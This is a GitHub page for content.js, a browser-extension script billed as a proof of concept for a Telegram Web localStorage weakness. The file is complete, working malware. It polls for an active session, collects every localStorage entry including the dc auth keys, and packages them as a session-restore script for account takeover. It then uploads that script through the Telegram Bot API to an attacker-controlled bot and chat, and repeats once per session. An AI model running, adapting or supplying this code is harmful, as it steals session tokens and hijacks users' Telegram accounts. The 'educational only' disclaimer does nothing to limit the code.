-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathcontent.js
More file actions
262 lines (222 loc) · 10.4 KB
/
content.js
File metadata and controls
262 lines (222 loc) · 10.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
/**
* Telegram localStorage Security Vulnerability Proof-of-Concept
*
* This extension demonstrates a critical security vulnerability where browser extensions
* can access localStorage data from any website without explicit user permission.
*
* VULNERABILITY: Telegram Web stores authentication tokens in browser localStorage,
* making them accessible to any malicious browser extension.
*
* EDUCATIONAL PURPOSE ONLY - DO NOT USE FOR MALICIOUS ACTIVITIES
*/
// Initialize attack when content script loads
console.log('='.repeat(80));
console.log('[PoC] 💀 MALICIOUS EXTENSION ACTIVATED');
console.log('[PoC] 🌍 Domain:', window.location.hostname);
console.log('[PoC] 📍 URL:', window.location.href);
console.log('[PoC] 🕒 Time:', new Date().toISOString());
console.log('[PoC] 🎯 Mission: Extract Telegram localStorage authentication data');
console.log('='.repeat(80));
/**
* Extracts all localStorage data from the current domain (web.telegram.org)
* This demonstrates how easily extensions can access sensitive authentication data
*
* @returns {Object} All localStorage key-value pairs from Telegram Web
*/
// Configuration variables are loaded from config.js content script
const getAuthData = () => {
console.log('[PoC] 🔍 Starting localStorage data extraction...');
const data = {};
let totalKeys = 0;
let sensitiveKeys = 0;
// Iterate through all localStorage keys
for (const key in localStorage) {
// Ensure we only get direct properties, not inherited ones
if (localStorage.hasOwnProperty(key)) {
const value = localStorage.getItem(key);
totalKeys++;
// Only include non-null/undefined values
if (value !== null && value !== undefined) {
data[key] = value;
// Log sensitive keys found
if (key.includes('auth_key') || key.includes('user_auth') || key.includes('dc') || key.includes('session')) {
console.log(`[PoC] 🔑 Found sensitive key: ${key} (${value.length} chars)`);
sensitiveKeys++;
}
}
}
}
console.log(`[PoC] 📊 localStorage scan complete: ${Object.keys(data).length}/${totalKeys} keys extracted`);
console.log(`[PoC] 🔐 Sensitive keys found: ${sensitiveKeys}`);
return data;
};
/**
* Sends the extracted localStorage data as a JavaScript file to a remote endpoint
* This simulates how an attacker would exfiltrate large amounts of stolen data
*
* @param {string} token - Base64 encoded Telegram bot token
* @param {string} chatId - Base64 encoded Telegram chat ID
* @param {Object} authData - The extracted localStorage data
*/
const sendAuthDataAsFile = (token, chatId, authData) => {
try {
console.log('[PoC] 📤 Starting data exfiltration process...');
console.log(`[PoC] 📋 Preparing to send ${Object.keys(authData).length} keys to attacker server`);
// Decode the base64 encoded credentials
const botToken = atob(token);
const targetChatId = atob(chatId);
console.log('[PoC] 🔓 Decoded attacker credentials successfully');
// Create JavaScript file content for easy account takeover
const jsFileContent = `// Telegram Authentication Data - Extracted via Browser Extension
// Execute this script in browser console on web.telegram.org to restore session
const telegramAuthData = ${JSON.stringify(authData, null, 2)};
console.log('Restoring Telegram authentication data...');
Object.entries(telegramAuthData).forEach(([key, value]) => {
localStorage.setItem(key, value);
console.log('Set:', key);
});
console.log('Authentication data restored. Refresh the page to access the account.');
console.log('Total keys restored:', Object.keys(telegramAuthData).length);
`;
console.log(`[PoC] 📄 Generated JavaScript file (${Math.round(jsFileContent.length / 1024)}KB)`);
// Create a Blob with the JavaScript content
const jsBlob = new Blob([jsFileContent], {
type: "application/javascript",
});
// Create FormData for file upload
const formData = new FormData();
formData.append("chat_id", targetChatId);
formData.append("document", jsBlob, `telegram_auth_${Date.now()}.js`);
formData.append(
"caption",
`🔒 Telegram Authentication Data Extracted\n📊 Keys: ${
Object.keys(authData).length
}\n🎯 Target: ${
window.location.hostname
}\n⏰ Time: ${new Date().toISOString()}`
);
console.log('[PoC] 📦 Prepared file upload package');
// Send the file to attacker's endpoint
const apiUrl = `https://api.telegram.org/bot${botToken}/sendDocument`;
console.log('[PoC] 🚀 Sending stolen data to attacker server...');
fetch(apiUrl, {
method: "POST",
body: formData,
})
.then((response) => {
console.log(`[PoC] 📡 Server response: ${response.status} ${response.statusText}`);
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
return response.json();
})
.then((result) => {
// Data successfully exfiltrated
console.log('[PoC] ✅ SUCCESS: Authentication data successfully extracted and sent as file');
console.log(`[PoC] 📊 Exfiltrated ${Object.keys(authData).length} localStorage keys`);
console.log('[PoC] 🎯 Account takeover now possible with extracted tokens');
console.log('[PoC] 💀 Attack completed successfully');
})
.catch((error) => {
console.error("[PoC] ❌ FAILED: Failed to exfiltrate data file:", error);
});
} catch (error) {
console.error("[PoC] ❌ ERROR: Error in data exfiltration process:", error);
}
};
/**
* MAIN ATTACK VECTOR DEMONSTRATION
*
* This section demonstrates how a malicious extension would:
* 1. Wait for user to be logged into Telegram Web
* 2. Extract authentication tokens from localStorage
* 3. Exfiltrate the data to attacker's server
* 4. Prevent duplicate sends with a flag
*/
// Variable to track Telegram UI display state
let telegramDisplayState = null;
let attackLoopCount = 0;
let lastLogTime = 0;
console.log('[PoC] 🚀 Malicious extension initialized - Starting attack monitoring...');
console.log('[PoC] 🎯 Target: web.telegram.org localStorage data');
console.log('[PoC] ⏱️ Monitoring interval: 5 seconds');
// Main attack loop - runs every 5 seconds to check for opportunity
setInterval(() => {
attackLoopCount++;
const currentTime = Date.now();
// Log every 30 seconds to show we're actively monitoring
if (currentTime - lastLogTime > 30000) {
console.log(`[PoC] 👁️ Still monitoring... (${attackLoopCount} checks completed)`);
lastLogTime = currentTime;
}
try {
// Check if Telegram Web interface is visible and loaded
const mainColumns = document.querySelector("#main-columns");
if (mainColumns && mainColumns.parentElement) {
telegramDisplayState = mainColumns.parentElement.style.display;
}
} catch (error) {
// Silently handle DOM access errors
telegramDisplayState = null;
}
// Attack condition: Check if user is actively using Telegram Web
const mainElement = document.querySelector("#Main");
const isUserActive = mainElement || (telegramDisplayState !== "none" && telegramDisplayState !== null);
if (isUserActive) {
console.log('[PoC] 🎯 TARGET DETECTED: User is active on Telegram Web!');
console.log('[PoC] ⏳ Waiting 10 seconds for page to fully load before attacking...');
// Wait 10 seconds after detecting activity to ensure full page load
setTimeout(() => {
console.log('[PoC] 🔥 ATTACK INITIATED: Starting localStorage extraction...');
// STEP 1: Extract all localStorage data
const extractedData = getAuthData();
// STEP 2: Check for critical Telegram authentication keys
console.log('[PoC] 🔍 Checking for critical Telegram authentication keys...');
const authKeys = {
dc1_auth_key: "dc1_auth_key" in extractedData,
dc2_auth_key: "dc2_auth_key" in extractedData,
dc3_auth_key: "dc3_auth_key" in extractedData,
dc4_auth_key: "dc4_auth_key" in extractedData
};
const foundAuthKeys = Object.entries(authKeys).filter(([key, found]) => found);
console.log(`[PoC] 🔑 Authentication key scan results:`, authKeys);
const hasAuthKeys = foundAuthKeys.length > 0;
if (hasAuthKeys) {
console.log(`[PoC] ✅ CRITICAL TOKENS FOUND: ${foundAuthKeys.length} authentication keys detected!`);
foundAuthKeys.forEach(([key]) => {
console.log(`[PoC] 🔓 Found: ${key}`);
});
// STEP 3: Check if we haven't already exfiltrated data (prevent duplicates)
const alreadySent = window.localStorage.getItem("send");
console.log(`[PoC] 🚩 Duplicate check: send flag = "${alreadySent}"`);
if (alreadySent === "false" || alreadySent === null) {
console.log('[PoC] 🎬 CONDITIONS MET: Proceeding with data exfiltration...');
console.log('[PoC] 📊 Data to exfiltrate:', Object.keys(extractedData).length, 'localStorage keys');
// STEP 4: Use attack credentials from config.js
// Tokens are imported from config.js file
// STEP 5: Exfiltrate the authentication data as a JavaScript file
sendAuthDataAsFile(attackerBotToken, attackerChatId, extractedData);
// STEP 6: Set flag to prevent duplicate sends
window.localStorage.setItem("send", "true");
console.log('[PoC] 🚩 Set duplicate prevention flag to prevent re-sending');
} else {
console.log('[PoC] ⏭️ SKIPPING: Data already exfiltrated (duplicate prevention active)');
}
} else {
console.log('[PoC] ❌ NO CRITICAL TOKENS: Authentication keys not found, attack aborted');
console.log('[PoC] 💡 User may not be logged in or tokens not yet loaded');
}
}, 10000); // 10-second delay to ensure page is fully loaded
} else {
// Only log this occasionally to avoid spam
if (attackLoopCount % 12 === 0) { // Every minute
console.log('[PoC] 😴 Waiting for user activity on Telegram Web...');
}
// Reset the sent flag when user is not active on Telegram
const currentSendFlag = window.localStorage.getItem("send");
if (currentSendFlag === "true") {
window.localStorage.setItem("send", "false");
console.log('[PoC] 🔄 User left Telegram - Reset send flag for next session');
}
}
}, 5000); // Check every 5 seconds for attack opportunities